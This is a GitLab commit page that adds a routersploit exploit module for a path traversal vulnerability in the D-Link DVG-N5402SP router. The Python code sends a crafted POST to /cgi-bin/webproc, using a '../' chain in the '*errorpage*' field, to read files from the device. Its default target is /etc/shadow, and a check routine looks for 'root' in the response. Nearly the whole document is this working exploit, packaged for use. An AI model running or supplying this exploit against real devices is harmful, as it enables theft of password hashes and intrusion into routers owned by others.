Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
22327774
Commit
22327774
authored
Apr 17, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
D-Link DVG-N5402SP path traversal exploit
parent
07cb0c69
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
75 additions
and
0 deletions
+75
-0
dvg_n5402sp_path_traversal.py
...loit/modules/exploits/dlink/dvg_n5402sp_path_traversal.py
+75
-0
No files found.
routersploit/modules/exploits/dlink/dvg_n5402sp_path_traversal.py
0 → 100644
View file @
22327774
import
requests
from
routersploit
import
(
exploits
,
sanitize_url
,
print_success
,
print_error
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for D-Link DVG-N5402SP path traversal vulnerability.
If the target is vulnerable it allows to read files from the device."
"""
__info__
=
{
'name'
:
'D-Link DVG-N5402SP Path Traversal'
,
'description'
:
'Module exploits D-Link DVG-N5402SP path traversal vulnerability, which allows reading files form the device'
,
'authors'
:
[
'Karn Ganeshen'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://www.exploit-db.com/exploits/39409/'
,
'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html'
,
],
'targets'
:
[
'D-Link DVG-N5402SP'
,
]
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
port
=
exploits
.
Option
(
8080
,
'Target port'
)
# default port
filename
=
exploits
.
Option
(
'/etc/shadow'
,
'File to read'
)
# file to read
def
run
(
self
):
# address and parameters
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc"
.
format
(
self
.
target
,
self
.
port
))
data
=
{
"getpage"
:
"html/index.html"
,
"*errorpage*"
:
"../../../../../../../../../../..{}"
.
format
(
self
.
filename
),
"var
%3
Amenu"
:
"setup"
,
"var
%3
Apage"
:
"connected"
,
"var
%
"
:
""
,
"objaction"
:
"auth"
,
"
%3
Ausername"
:
"blah"
,
"
%3
Apassword"
:
"blah"
,
"
%3
Aaction"
:
"login"
,
"
%3
Asessionid"
:
"abcdefgh"
}
# connection
try
:
r
=
requests
.
post
(
url
,
data
=
data
)
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
print_error
(
"Invalid URL format:
%
s"
%
url
)
return
except
requests
.
exceptions
.
ConnectionError
:
print_error
(
"Connection error:
%
s"
%
url
)
return
if
r
.
status_code
==
200
:
print_success
(
"Exploit success"
)
print_status
(
"File: {}"
.
format
(
self
.
filename
))
print
r
.
text
else
:
print_error
(
"Exploit failed"
)
def
check
(
self
):
# address and parameters
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc"
.
format
(
self
.
target
,
self
.
port
))
data
=
{
"getpage"
:
"html/index.html"
,
"*errorpage*"
:
"../../../../../../../../../../../etc/shadow"
,
"var
%3
Amenu"
:
"setup"
,
"var
%3
Apage"
:
"connected"
,
"var
%
"
:
""
,
"objaction"
:
"auth"
,
"
%3
Ausername"
:
"blah"
,
"
%3
Apassword"
:
"blah"
,
"
%3
Aaction"
:
"login"
,
"
%3
Asessionid"
:
"abcdefgh"
}
# connection
try
:
r
=
requests
.
post
(
url
,
data
=
data
)
res
=
r
.
text
except
:
return
None
if
"root"
in
res
:
return
True
# target vulnerable
return
False
# target not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment